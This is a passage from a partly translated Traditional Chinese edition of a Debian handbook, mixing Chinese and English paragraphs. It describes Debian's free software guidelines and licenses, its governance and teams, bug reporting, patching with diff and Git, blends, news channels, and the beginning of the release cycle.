4. 作者原始碼的完整性。.  此授權限制散布修改的原始碼 祗限 在編譯時才能納入發行的 '補丁' 做為修改程式之用。此授權必須明示允許在編譯時納入修改的原始碼。此授權可能要求衍生作品使用不同於原始軟體(這是妥協的做法。Debian 鼓勵所有的著者不要限制任何檔案，原始碼或二進位檔案，的修改作為)的名稱或產品編號。

5. 禁止歧視人或團體。.  授權不能歧視任何人或團體。

6. 禁止歧視各領域貢獻者。.  授權不能歧視把程式應用於的任何領域的人。例如，限制程式不得用於商業，或基因研究。

7. 許可證的散佈。.  程式附帶的權利必須適用於程式的再散布無需加上其他的授權。

8. 許可證不能特定於 Debian。.  程式的權利不能由是否爲 Debian 的一部分來決定。如果該程式從 Debian 中摘取出來使用或散布於 Debian 之外，再次發行的每個受衆都將擁有與 Debian 系統結合時完全相同的權利。

9. 授權不得污染其他軟體。.  不得限制與此軟體一起散布的軟體。例如，不得要求與其在一同散布的軟體必須是自由軟體。

基礎 著佐權

著佐權是使用著作權保護自由作品及其衍生作品的原則。其實是對 '著作權' 一詞的雙關語。一個喜歡雙關語的人，告訴理查德·斯托曼：'著佐權：版權回覆'。著佐權強制保留發行原著或衍生著作 (通常是程式) 原來的自由。源自著佐權的程式碼，不能把散布成專屬軟體。

The most well-known family of copyleft licenses is, of course, the GNU General Public License (GPL) and its derivatives, the GNU Lesser General Public License (LGPL), and the GNU Free Documentation License (GFDL). Sadly, the copyleft licenses are generally incompatible with each other. Consequently, it is best to use only one of them.

10. Example licenses.  The “GPL”, “BSD”, and “Artistic” licenses are examples of licenses that we consider “free”.

基本 自由授權

GNU 通用公共授權、BSD 授權、與Artistic 授權都是與 Debian 自由軟體授權指導方針相容的授權，即使他們彼此並不相同。

The GNU GPL, used and promoted by the FSF (Free Software Foundation), is the most common. Its main feature is that it also applies to any derived work that is redistributed: a program incorporating or using GPL code can only be distributed according to its terms. It prohibits, thus, any reuse in a proprietary application. This poses serious problems for the reuse of GPL code in free software incompatible with this license. As such, it is sometimes impossible to link a program published under another free software license with a library distributed under the GPL. On the other hand, this license is very solid in American law: FSF lawyers have participated in the drafting thereof, and have often forced violators to reach an amicable agreement with the FSF without going to court.

→ https://www.gnu.org/copyleft/gpl.html

The BSD license is the least restrictive: everything is permitted, including use of modified BSD code in a proprietary application.

→ https://www.opensource.org/licenses/bsd-license.php

Finally, the Artistic License reaches a compromise between these two others: integration of code in a proprietary application is permitted, but any modification must be published.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

The complete text of these licenses is available in /usr/share/common-licenses/ on any Debian system (in case of BSD the newer 3-Clause License).

社群 布魯斯·佩倫斯，另類的領導者

Bruce Perens was the second leader of the Debian project, just after Ian Murdock. He was very controversial in his dynamic and authoritarian methods. He, nevertheless, remains an important contributor to Debian, to whom Debian is especially indebted for the editing of the famous “Debian Free Software Guidelines” (DFSG), an original idea of Ean Schuessler. Subsequently, Bruce would derive from it the famous “Open Source Definition”, removing all references to Debian from it.

→ https://opensource.org/

離開 Debian 頗為激動，但布魯斯仍與 Debian 保持連繫，在政治與經濟層面持續推動 Debian。偶而電子郵件清單中提供意見流露對 Debian 初衷的支持。

Last anecdotal point, it was Bruce who was responsible for inspiring the different “codenames” for Debian versions (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 — Bullseye, 12 (not released yet) — Bookworm, Unstable — Sid). They are taken from the names of characters in the Toy Story movie. This animated film entirely composed of computer graphics was produced by Pixar Studios, with whom Bruce was employed at the time that he led the Debian project. The name “Sid” holds particular status, since it will eternally be associated with the Unstable branch. In the film, this character was the neighbor's child who always broke toys — so beware of getting too close to Unstable. Otherwise, Sid is also an acronym for “Still In Development”.

1.3. Debian 的內部作業

從有經驗的 Debian 發展者、Debian 套件裡的個別或集體作品、以及使用者的回饋，Debian 專案產出豐富的結果。

1.3.1. Debian 發展者

Debian developers have various responsibilities, and as official project members, they have great influence on the direction the project takes. A Debian developer is generally responsible for at least one package, but according to their available time and desire, they are free to become involved in numerous teams and projects, thus acquiring more responsibilities within the project.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

工具 發展者的資料庫

Debian has a database including all developers registered with the project, and their relevant information (address, telephone, geographical coordinates such as longitude and latitude, etc.). Some of the information (first and last name, country, username within the project, IRC username, GnuPG key, etc.) is public and available on the Web.

→ https://db.debian.org/

地理資訊用於建立發展者在全球的分布地圖。Debian 是真正的國際計畫：雖然主要在 '西方國家'，其發展者確實遍布各大洲。

圖形 1.1. Debian 發展者遍布全球

Package maintenance is a relatively regimented activity, very documented or even regulated. It must, in effect, comply with all the standards established by the Debian Policy. Fortunately, there are many tools that facilitate the maintainer's work. The developer can, thus, focus on the specifics of their package and on more complex tasks, such as squashing bugs.

→ https://www.debian.org/doc/debian-policy/

基礎 維護套件，發展者的工作

Maintaining a package entails, first, “packaging” a software. Specifically, this means to define the means of installation so that, once installed, this software will operate and comply with the rules that the Debian project sets for itself. The result of this operation is saved in a .deb file. Effective installation of the program will then require nothing more than extraction of this compressed archive and execution of some pre-installation or post-installation scripts contained therein.

After this initial phase, the maintenance cycle truly begins: preparing updates to follow the latest version of the Debian Policy, fixing bugs reported by users, and including new “upstream” versions of the program which naturally continues to develop simultaneously. For instance, at the time of the initial packaging, a program was at version 1.2.3. After some months of development, the original authors release a new stable version, numbered 1.4.0. At this point, the Debian package maintainer should update the package, so that users can benefit from its latest stable version.

The Policy, an essential element of the Debian Project, establishes the norms ensuring both the quality of the packages and perfect interoperability of the distribution. Thanks to this Policy, Debian remains consistent despite its gigantic size. This Policy is not fixed in stone, but continuously evolves thanks to proposals formulated on the <debian-policy@lists.debian.org> mailing list. Amendments that are agreed upon by all interested parties are accepted and applied to the text by a small group of maintainers who have no editorial responsibility (they only include the modifications agreed upon by the Debian developers that are members of the above-mentioned list). You can read current amendment proposals on the bug tracking system:

→ https://bugs.debian.org/debian-policy

社群 政策編輯程序

Anyone can propose an amendment to the Debian Policy by submitting a bug report with a severity level of “wishlist” against the debian-policy package. The process that then starts is documented in https://www.debian.org/doc/debian-policy/ap-process.html: if it is acknowledged that the problem must be resolved by creating a new rule in the Debian Policy, a discussion begins on the <debian-policy@lists.debian.org> mailing list until consensus is reached and a proposal issued. Someone then drafts a desired amendment and submits it for approval (in the form of a patch to review). As soon as two other developers approve the fact that the proposed amendment reflects the consensus reached in the previous discussion (they “second” it), the proposal can be included in the official document by one of the debian-policy package maintainers. If the process fails at one of these stages, the maintainers close the bug, classifying the proposal as rejected.

DEBIAN 政策 文件

Documentation for each package is stored in /usr/share/doc/package/. This directory often contains a README.Debian file describing the Debian specific adjustments made by the package maintainer. It is, thus, wise to read this file prior to any configuration, in order to benefit from their experience. We also find a changelog.Debian.gz file describing the changes made from one version to the next by the Debian maintainer. This is not to be confused with the changelog.gz file (or equivalent), which describes the changes made by the upstream developers. The copyright file includes information about the authors and the license covering the software. Finally, we may also find a file named NEWS.Debian.gz, which allows the Debian developer to communicate important information regarding updates; if apt-listchanges is installed, then these messages are automatically displayed. All other files are specific to the software in question. We especially would like to point out the examples sub-directory, which frequently contains examples of configuration files.

The Policy provides considerable coverage of the technical aspects of packaging. The size of the project also raises organizational problems; these are dealt with by the Debian Constitution, which establishes a structure and means for decision making. In other words, a formal governance system.

This constitution defines a certain number of roles and positions, plus responsibilities and authorities for each. It is particularly worth noting that Debian developers always have ultimate decision making authority by a vote of general resolution, wherein a qualified majority of three quarters (75%) of votes is required for significant alterations to be made (such as those with an impact on the Foundation Documents). However, developers annually elect a “leader” to represent them in meetings, and ensure internal coordination between varying teams. This election is always a period of intense discussions. The Debian Project leader's (DPL) role is not formally defined by any document: candidates for this post usually propose their own definition of the position. In practice, the leader's roles include serving as a representative to the media, coordinating between “internal” teams, and providing overall guidance to the project, within which the developers can relate: the views of the DPL are implicitly approved by the majority of project members.

嚴格說來，領導人有絕對的權威；投票解決投票的問題；還沒有人負責的事都由領導人決定且可授權給他人。

Since its inception, the project has been successively led by Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Neill McGovern, Mehdi Dogguy, Chris Lamb, Sam Hartman, and Jonathan Carter.

憲法也設立 '技術委員會'。發展者自身無法達成共識時由此委員會決策技術事宜。此外，當發展者無法解決自身職責所有的問題時，委員會就扮演顧問角色。祗有被爭議一方邀請後，才能涉入。

最後，憲法設立 '計畫秘書' 職位，負責各種選舉與爭議的投票事宜。

The “general resolution” (GR) procedure is fully detailed in the constitution, from the initial discussion period to the final counting of votes. The most interesting aspect of that process is that when it comes to an actual vote, developers have to rank the different ballot options between them and the winner is selected with a Condorcet method (more specifically, the Schulze method). For further details see:

→ https://www.debian.org/devel/constitution

文化 發火，討論引起的

'發火' 是極度不理性的爭辯，雙方都窮盡理論的辯論後轉向人身攻擊。部份議題較為論戰式 (選擇文字編輯器，'喜歡 vi 或 emacs？'，永遠沒有結論)。由於單方面 (每個人) 快速地交換電子郵件形成優勢且極度地個人化此等議題。

這種討論沒什麼特別；通常要遠離這種爭論，或者快速地略過其內容，因為閱讀它們太費時了。

Even if this constitution establishes a semblance of democracy, the daily reality is quite different: Debian naturally follows the free software rules of the do-ocracy: the one who does things gets to decide how to do them. A lot of time can be wasted debating the respective merits of various ways to approach a problem; the chosen solution will be the first one that is both functional and satisfying… which will come out of the time that a competent person put into it.

這就是升級的唯一方法：做有用的事且顯示把事情做好。Debian '管理' 團體以增選方式管理，採用已有效奉獻且證明其能力的志願者。新的奉獻者看到這些團隊做了具有公共利益性質的工作就會主動加入協助。這就是 Debian 常被稱為 '任人唯賢'。

文化 任人唯賢，統治知識

Meritocracy is a form of government in which authority is exercised by those with the greatest merit. For Debian, merit is a measure of competence, which is, itself, assessed by observation of past actions by one or more others within the project (Stefano Zacchiroli, a former project leader, speaks of “do-ocracy”, meaning “power to those who get things done”). Their simple existence proves a certain level of competence; their achievements generally being free software, with available source code, which can be easily reviewed by peers to assess their quality.

這種有效的管理方法保證在 Debian '關鍵' 團隊奉獻者的品質。不見得是完美的且偶而凸搥。選擇被團隊接受的發展者是隨興的，甚至不公平的。而且，不是每個人對這些團隊服務的期望是一樣的。有些人受不了等8天才能收錄新的 Debian 套件，也有人耐心等待3週毫無怨言。所以，有些團隊對 '服務品質' 經常不滿。

社群 新進維護者的積分

負責核准新進發展者的團隊受到最多的批評。經過這麼多年，必須承認，Debian 專案發展者粥多僧少。有些人看到不正平之處，我們必須坦白社群成長到 1,000 人以後開始的小挑戰變成大麻煩，確保品質與整合愈來愈難。

此外，由 Debian 客戶經理這樣一小群團隊審核接受的程序 。特別容易被批評，因為在 Debian 發展者社群裡說接受或拒絕的就是他們。實務上，必須多花點時間瞭解才能接受。當然，我們可以在被接受為正式的發展者前，先支持既有的發展者，做出實質的奉獻。

1.3.2. 使用者的積極角色

One might wonder if it is relevant to mention the users among those who work within the Debian project, but the answer is a definite yes: they play a critical role in the project. Far from being “passive”, some users run development versions of Debian and regularly file bug reports to indicate problems. Others go even further and submit ideas for improvements, by filing a bug report with a severity level of “wishlist”, or even submit corrections to the source code, called “patches” (see 節 1.3.2.3, “Sending fixes”).

1.3.2.1. Reporting bugs

The fundamental tool for submitting bugs in Debian is the Debian Bug Tracking System (Debian BTS), which is used by large parts of the project. The public part (the web interface) allows users to view all bugs reported, with the option to display a sorted list of bugs selected according to various criteria, such as: affected package, severity, status, address of the reporter, address of the maintainer in charge of it, tag, etc. It is also possible to browse the complete historical listing of all discussions regarding each of the bugs.

表層下的 Debian BTS，以電子郵件為基礎：儲存參與者寄發的電子郵件做為資訊。發送給<12345@bugs.debian.org> 的電子郵件，將被指定為編號 12345 的錯誤。有權限的人可以敘明理由寄發另個電子郵件 <12345-done@bugs.debian.org> '關閉' (表示該錯誤已解決或無關緊要) 該錯誤。新的錯誤應以指定的格式辨識有問題的套件再發送電子郵件給 <submit@bugs.debian.org>。這個信箱 <control@bugs.debian.org> 用於編輯與該錯誤有關的所有 '中介資訊'。

The Debian BTS has other functional features, as well, such as the use of tags for labeling bugs. For more information, see

→ https://www.debian.org/Bugs/

術語 錯誤的嚴重性

報告問題時指定該錯誤的嚴重性。不是每個錯誤都具有相同的重要性；例如，手冊內容的打字錯誤不能與伺服器軟體的安全漏洞相提並論。

Debian uses an extended scale to describe the severity of a bug. Each level is defined precisely in order to facilitate the selection thereof.

→ https://www.debian.org/Bugs/Developer#severities

Users can also use the command line to send bug reports on a Debian package with the reportbug tool. It helps making sure the bug in question hasn't already been filed, thus preventing redundancy in the system. It reminds the user of the definitions of the severity levels, for the report to be as accurate as possible (the developer can always fine-tune these parameters later, if needed). It helps writing a complete bug report, without the user needing to know the precise syntax, by writing it and allowing the user to edit it. This report will then be sent via an e-mail server (by default, a remote one run by Debian, but reportbug can also use a local server).

此工具原先係供發展版使用，做為修正錯誤之用。後來發現，Debian 的穩定版也需要它，安全更新或重要更新 (或完全無效的套件)。因此，Debian 套件的次要錯誤的修訂，在下個穩定版才納入。

1.3.2.2. Translation and documentation

Additionally, numerous satisfied users of the service offered by Debian like to make a contribution of their own to the project. As not everyone has appropriate levels of expertise in programming, they may choose to assist with the translation and review of documentation. There are language-specific mailing lists to coordinate this work.

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

基礎 什麼是 i18n 與 l10n？

'i18n' 與 'l10n' 是國際化英文字 'internationalization' 與在地化英文字 'localization' 的縮寫，保留第一個與最後一個字母，再加入省略字母的字數。

'國際化' 一個程式包括修改至可以翻譯 (在地化) 的程度。涉及重寫程式的語文以便公開給所有的語系使用。

'在地化' 一個程式包括翻譯原語文 (通常是英文) 為另一個語文。因此，必須先國際化。

總之，國際化係把軟體整備至可翻譯的程度，然後再執行在地化。

1.3.2.3. Sending fixes

More advanced users might be able to provide a fix to a program by sending a patch.

補丁是描述檔案修改的檔案。準確來說，包括移除或新增的程式碼清單，以及 (有時) 從參考文件取得的內容，用以取代修改的內文 (可以辨識取代的內容)。

修改該等檔案的工具名稱就是 patch。新增為 diff，用法如下：

$ diff -u file.old file.new >file.patch

file.patch 檔案包括變更 file.old 為 file.new 的指令。可以發送給其他人，用於從兩個檔案新增 file.new，如：

$ patch -p0 file.old <file.patch

現在，此檔案 file.old 內容等同於 file.new。

In practice, most software is currently maintained in Git repositories and contributors are thus more likely to use git to retrieve the source code and propose changes. git diff will generate a file in the same format as what diff -u would do and git apply can do the same as patch.

文化 Git

Git 是在多個檔案合作運作的工具，維護修訂的記錄。有問題的檔案多半是純文字檔，程式的原始碼。由多人共同處理一個檔案時，git 可以把不同部份的檔案合而為一。否則，其中的 '衝突' 必須以人工處理。

Git is a distributed system where each user has a repository with the complete history of changes. Central repositories are used to download the project (git clone) and to share the work done with others (git push). The repository can contain multiple versions of the files but only one version can be worked on at a given time: it is called the working copy (it can be changed to point to another version with git checkout). Git can show you the modifications made to the working copy (git diff), can stage changes for inclusion (git add), and can create a new entry in the version's history (git commit). It can also update the working copy to include modifications made in parallel by other users (git pull), and can record a particular configuration in the history in order to be able to easily extract it later on (git tag).

Git 可處理發展中的多個版本而不互相干擾。這些版本稱為 branches。以樹木的分枝形容相當精確，因為程式本來就是從一個主幹開始。有了成果 (諸如 1.0) 後，就有兩個分枝：發展枝為下個釋做準備、維護枝管理 1.0 的更新與修訂。

Git is, nowadays, the most popular version control system but it is not the only one. Historically, CVS (Concurrent Versions System) was the first widely used tool but its numerous limitations contributed to the appearance of more modern free alternatives. These include, especially, Subversion (svn), Git (git), Bazaar (bzr), Fossil (fossil), and Mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

It is beyond the scope of this book to provide a detailed explanation about Git. For that, you can refer to the Pro Git book.

→ https://git-scm.com/book/

While the output of git diff is a file that can be shared with other developers, there are usually better ways to submit changes. If the developers prefer to get patches by email, they usually want patches generated with git format-patch so that they can be directly integrated in the repository with git am. This preserves commits meta-information and makes it possible to share multiple commits at once.

This email-based workflow is still popular but it tends to be replaced by the usage of merge requests (or pull requests) whenever the software is hosted in a platform like GitHub or GitLab — and Debian is using GitLab on its salsa.debian.org server. On those systems, once you have created an account, you fork the repository, effectively creating a copy of the repository in your own account, and you can then clone that repository and push your own changes in it. From there, the web interface will suggest you to submit a merge request, notifying the developers of your changes, making it easy for them to review and accept your changes with a single click.

1.3.2.4. Other ways of contributing

All of these contribution mechanisms are made more efficient by users' behavior. Far from being a collection of isolated persons, users are a true community within which numerous exchanges take place. We especially note the impressive activity on the user discussion mailing list, <debian-user@lists.debian.org> (章 7, 解決問題與找到相關資訊 discusses this in greater detail).

→ https://lists.debian.org/users.html

使用者不僅自助 (也助人) 於直接影響他們的技術面，也討論奉獻 Debian 專案的最佳途徑與協助其向前行 — 經常出現改進的建議。

TOOL how-can-i-help

The how-can-i-help program lists opportunities for contributing to Debian packages that are installed locally. After each APT invocation (see 章 6, 維護與更新：APT 工具), it shows ways to help, by highlighting bugs tagged “newcomer” (which are easy entry-points for new contributors) or orphaned packages that need a new maintainer. The program can be executed directly as well.

Debian 不僅持續自我推廣，其使用者在擴散方面也居功甚偉，口耳相傳其名聲。

This method works quite well, since Debian fans are found at all levels of the free software community: from install parties (workshops where seasoned users assist newcomers to install the system) organized by local LUGs or “Linux User Groups”, to association booths at large tech conventions dealing with Linux, etc.

Volunteers make posters, brochures, stickers, and other useful promotional materials for the project, which they make available to everyone, and which Debian provides freely on its website and on its wiki:

→ https://www.debian.org/events/material

1.3.3. Teams, Blends, and Sub-Projects

From the start, Debian has been organized around the concept of source packages, each with its maintainer or group of maintainers. Many work teams have emerged over time, ensuring administration of the infrastructure, management of tasks not specific to any package in particular (quality assurance, Debian Policy, installer, etc.), with the latest series of teams growing up around sub-projects and blends.

1.3.3.1. Existing Debian Sub-Projects and Blends

To each their own Debian! A sub-project is a group of volunteers interested in adapting Debian to specific needs. Beyond the selection of a sub-group of programs intended for a particular domain (education, medicine, multimedia creation, etc.), sub-projects are also involved in improving existing packages, packaging missing software, adapting the installer, creating specific documentation, and more. While a "blend" might not be exactly the same, it works quite similar and also tries to provide a solution for groups of people intending to use Debian for a particular domain. One could say that "Debian Pure Blends" is the successor of sub-projects.

→ https://www.debian.org/blends/

VOCABULARY Sub-projects, blends, and derivative distribution

所謂衍生散佈版的開發程序，係根據某一特定版本的 Debian 做為起點，接著進行各種改造而成。其成品作成之基礎建設完全在 Debian 專案之外。衍生版也不必有回饋自身改善的政策。這就是為何衍生散佈版會「偏離」原版，並且必須定期與原版同步以便獲取上游來的改善成果。

On the other hand, a sub-project or blend can not diverge, since all the work on it consists of directly improving Debian in order to adapt it to a specific goal.

Debian 的眾多衍生散佈版中，無庸置疑，最知名的當是 Ubuntu。請見 附錄 A, 衍生產品 瞭解其特點，及其與 Debian 間的地位關係。

Here is a small selection of current released Debian Pure Blends:

- Debian Junior, by Ben Armstrong, offering an appealing and easy to use Debian system for children;

- Debian Edu, by Petter Reinholdtsen, focused on the creation of a specialized distribution for the academic and educational world;

- Debian Med，由 Andreas Tille 製作，專供醫護領域使用；

- Debian Multimedia, which deals with audio and multimedia work;

- Debian GIS, which takes care of Geographical Information Systems applications and users;

- Debian Astro, for both professionals and hobby astronomers;

- Debian Science, working on providing researchers and scientists a better experience using Debian;

- Freedombox, made to develop, design and promote personal servers running free software for private, personal communications;

- Debian Games, providing games in Debian from arcade and adventure to simulation and strategy;

- DebiChem, targeted at Chemistry, provides chemical suites and programs.

The number of projects will most likely continue to grow with time and improved perception of the advantages of Debian Pure Blends. Fully supported by the existing Debian infrastructure, they can, in effect, focus on work with real added value, without worrying about remaining synchronized with Debian, since they are developed within the project.

1.3.3.2. 管理團隊

Most administrative teams are relatively closed and recruit only by co-optation. The best means to become a part of one is to intelligently assist the current members, demonstrating that you have understood their objectives and methods of operation.

The ftpmasters are in charge of the official archive of Debian packages. They maintain the program that receives packages sent by developers and automatically stores them, after some checks, on the reference server (ftp-master.debian.org).

他們也檢查新增套件的授權條款，確保在納入它們之前，Debian 有權散布它們。被要求移除的套件，由發展者經由錯誤追蹤系統與 ftp.debian.org '虛擬套件' 向團隊提出。

術語 虛擬套件，監測工具

錯誤追蹤系統，原先係處理 Debian 套件錯誤而設計，後來發現在其他事物上也很實用：列出 Debian 套件內外的待處理問題或待管理工作。'虛擬套件' 允許，指定團隊在未連結實際套件的環境下使用錯誤追蹤系統。每個人都可以報告錯誤。例如，BTS 有個 ftp.debian.org 條目用於報告與追蹤官方套件的錯誤或要求移除套件。同樣的，www.debian.org 虛擬套件則指向 Debian 網頁的錯誤，且 lists.debian.org 匯集與郵寄名單有關的問題。

TOOL GitLab, Git repository hosting and much more

A GitLab instance, known as salsa.debian.org, is used by Debian to host the Git packaging repositories; but this software offers much more than simple hosting and Debian contributors have been quick to leverage the continuous integration features (running tests, or even building packages, on each push). Debian contributors also benefit from a cleaner contribution workflow thanks the well understood merge request process (similar to GitHub's pull requests).

GitLab replaced FusionForge (which was running on a service known as alioth.debian.org) for collaborative package maintenance. This service is administered by Alexander Wirt, Bastian Blank and Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

The Debian System Administrators (DSA) team (<debian-admin@lists.debian.org>), as one might expect, is responsible for system administration of the many servers used by the project. They ensure optimal functioning of all base services (DNS, Web, e-mail, shell, etc.), install software requested by Debian developers, and take all precautions in regards to security.

→ https://dsa.debian.org

工具 Debian 套件追蹤器

這是 Raphaël 的傑作之一。基本概念是，對於指明的套件，儘可能將相關資訊集結在同一頁面中。這樣一來，任何人都可以快速查看程式的狀態、辦識待處理的事項、以及提供協助等。這就是為何這個頁面會集結所有的臭蟲統計資料、各個散佈版中的可用版本、在 Testing 散佈版中打包的進度、軟體描述和 debconf 模板的翻譯狀態、是否有新的上游版本、是否未遵循最新版 Debian 政策的通知、維護者的資訊、以及維護者期望納入的其他資訊等。

→ https://tracker.debian.org/

電子郵件訂閱服務也在此網頁介面。自動送出選定的資訊給此清單：錯誤與相關的討論、Debian 伺服器內的新版本、待校對的新翻譯等。

Advanced users can, thus, follow all of this information closely and even contribute to the project, once they have got a good enough understanding of how it works.

Another web interface, known as the Debian Developer's Packages Overview (DDPO), provides each developer a synopsis of the status of all Debian packages placed under their charge.

→ https://qa.debian.org/developer.php

這兩個網站由 Debian 的品質保證成員 (通稱為 Debian QA) 發展與管理的工具。

此 名單大師 管理郵寄名單的電子郵件伺服器。職責包括新增名單、處理送回 (無法送出的育知)、以及垃圾郵件過濾器 (未授權的批次郵件)。

文化 郵寄名單的流量：某些數據

The mailing lists are, without a doubt, the best testimony to activity on a project, since they keep track of everything that happens. The numbers (from April 2021) regarding our mailing lists speak for themselves: Debian hosts about 325 lists, totaling over 295,000 individual subscriptions. 396,000 e-mails are delivered every day.

Each specific service has its own administration team, generally composed of volunteers who have installed it (and also frequently programmed the corresponding tools themselves). This is the case for the bug tracking system (BTS), the package tracker, salsa.debian.org (GitLab server, see sidebar TOOL GitLab, Git repository hosting and much more), the services available on qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.3.3.3. 發展團隊、轉換團隊

不同於管理團隊，發展團隊較為開放，甚至可以說是置身於奉獻者之外。Debian 自身不新增軟體，計畫仍需要外部軟體滿足其需要。當然，仍是在自由軟體授權下發展，這些工具使用被自由軟體世界驗證的方法。

Debian 發展自己的小軟體，但卻是重要的軟體，其名聲遠超越 Debian 專案本身。dpkg 是個例子，它是 Debian 套件管理程式 (事實上，它是 Debian PacKaGe 的縮寫，讀成 'dee-package')，另一個是 apt，自動安裝 Debian 套件的工具，檢查其相依性，保證安裝後與系統一致 (其名稱為 Advanced Package Tool 的縮寫)。然而，它們都是由小團隊撰寫的，祗需要高階程式技巧就能瞭解該等程式的運作方式。

The most important team is probably that for the Debian installation program, debian-installer, which has accomplished a work of momentous proportions since its conception in 2001. Numerous contributors were needed, since it is difficult to write a single program able to install Debian on a dozen different architectures. Each one has its own mechanism for booting and its own bootloader. All of this work is coordinated on the <debian-boot@lists.debian.org> mailing list, under the direction of Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

這個 (極小的) debian-cd 程式團隊的目標更謙虛。由很多 '小小' 的奉獻者負責其架構，因為主要的發展者無法知道全部的細微之處，也不知道從CD-ROM 安裝的正確方式。

需要多個團隊彼此合作才能夠將程式包裝起來：以<debian-qa@lists.debian.org> 為例，企圖保證 Debian 專案的每個層面都達到既定的品質。<debian-policy@lists.debian.org> 根據各地的建議列出 Debian 政策。負責每個架構的團隊 (<debian-architecture@lists.debian.org>) 編繹所有的套件，若有需要，再改編供特定架構使用。

其他的團隊管理最重要的套件以免重擔放在單一團隊的肩上；在 C 程式庫與 <debian-glibc@lists.debian.org>，C 編繹器 <debian-gcc@lists.debian.org> 郵寄名單，或 Xorg 在 <debian-x@lists.debian.org> (此社群以 X Strike Force 聞名)。

1.4. 跟著 Debian 最新消息

如前所述，Debian 專案以極為分散、有機的方式進行。結果是，必須痛苦地讀取無止盡的訊息才能保持與計畫連繫。

訂閱 <debian-announce@lists.debian.org> 郵寄名單是獲知 Debian 重要訊息的方法。此郵寄名單的流量極低 (每年祗有十來個訊息)，祗提供最重要的通知，諸如新版釋出消息、選舉新的計畫領導人、或 Debian 年度會議。

→ https://lists.debian.org/debian-announce/

More general (and regular) news about Debian are sent to the <debian-news@lists.debian.org> list. The traffic on this list is quite reasonable too (usually around a handful of messages a month), and it includes the semi-regular “Debian Project News”, which is a compilation of various small bits of information about what happens in the project.

→ https://lists.debian.org/debian-news/

COMMUNITY The publicity team

Debian's official communication channels are managed by volunteers of the Debian publicity team. They are delegates of the Debian Project Leader and moderate news and announcements posted there. Many other volunteers contribute to the team, for example, by writing content for “Debian Project News”, Debian's official blog (bits.debian.org) or the microblogging service (micronews.debian.org), which supplies social networking sites with microblogging content.

→ https://wiki.debian.org/Teams/Publicity

For more information about the evolution of Debian and what is happening at some point in time in various teams, there is also the <debian-devel-announce@lists.debian.org> list. As its name implies, the announcements it carries will probably be more interesting to developers, but it also allows interested parties to keep an eye on what happens in more concrete terms than just when a stable version is released. While <debian-announce@lists.debian.org> gives news about the user-visible results, <debian-devel-announce@lists.debian.org> gives news about how these results are produced. As a side note, “d-d-a” (as it is sometimes referred to) is the only list that Debian developers must be subscribed to.

→ https://lists.debian.org/debian-devel-announce/

Debian's official blog (bits.debian.org) is also a good source of information. It conveys most of the interesting news that are published on the various mailing lists that we already covered and other important news contributed by community members. Since all Debian developers can contribute these news when they think they have something noteworthy to make public, Debian's blog gives a valuable insight while staying rather focused on the project as a whole.

A more informal source of information can also be found on Planet Debian, which aggregates articles posted by Debian contributors on their respective blogs. While the contents do not deal exclusively with Debian development, they provide a view into what is happening in the community and what its members are up to.

→ https://planet.debian.org/

The project is also well represented on social networks. Debian only has an official presence on Identi.ca (microblogging platform, powered by pump.io), but there are some accounts retransmitting the RSS feed from micronews.debian.org and many Debian contributors who are posting on non-official accounts.

→ https://identi.ca/debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. 散佈版的角色

GNU/Linux 散佈版的兩個主要目標：在電腦上安裝自由的作業系統 (單獨存在，或是和其他作業系統同時存在)，以及提供滿足使用者需求的各種軟體。

1.5.1. 安裝器：debian-installer

debian-installer，以極度模組化設計以便儘量通用，針對前述的第一個目標。含蓋極為廣泛的安裝環境，能夠支援特殊個案的安裝器。

模組化，讓情況很複雜，發展者極難發掘此工具；但在圖書或文字模式下，使用者的經驗仍然差不多。花了極大的力氣減少安裝所需的問題，特別感謝自動偵測硬體的軟體。

值得注意的是 Debian 的衍生散佈版在這個層面上有很大的不同，提供有限的安裝方式 (通常祗限 i386 或 amd64 架構兩種)，但對初入門者更為友善。另一方面，它們通常不會讓軟體套件的內容離太遠，以便盡可能利用 Debian 提供的廣大軟體而不致於發生相容性問題。

1.5.2. 軟體程式庫

Quantitatively, Debian is undeniably the leader in this respect, with over 31,000 source packages. Qualitatively, Debian’s policy and long testing period prior to releasing a new stable version justify its reputation for stability and consistency. As far as availability, everything is available on-line through many mirrors worldwide, with updates pushed out every six hours.

大部份新軟體自有辦法找到門路在安裝時自動納入。若因相依性的問題而需要太多的更新，可以為 Debian 的穩定版重新編譯 (此議題的詳情參見 章 15, 建立一個套裝軟體)。

1.6. 釋出週期

Debian 專案的每個程式同時有 6 個不同版本，實驗、不穩定、測試、穩定、舊穩定、與 極舊穩定。每個版本都有自己的發展流程。為了瞭解起見，先看看程式的發展過程，由最初的包裝至納入 Debian 的穩定版。

術語 釋出

「release」一詞，在 Debian 專案中，係指散佈版的特定發行版本 (如：「unstable release」代表的是「尚未穩定的版本」)。這個詞語也用於代表軟體新版本 (stable 穩定版) 的初次公開發表。

1.6.1. 實驗狀態

首先看看 實驗 發行的特例：對應於還在發展中軟體的 Debian 套件，不必已做完，其名稱已說明一切。還沒有全部通過此階段；部份發展者加入套件為了得到有經驗 (或勇敢) 使用者的回饋。

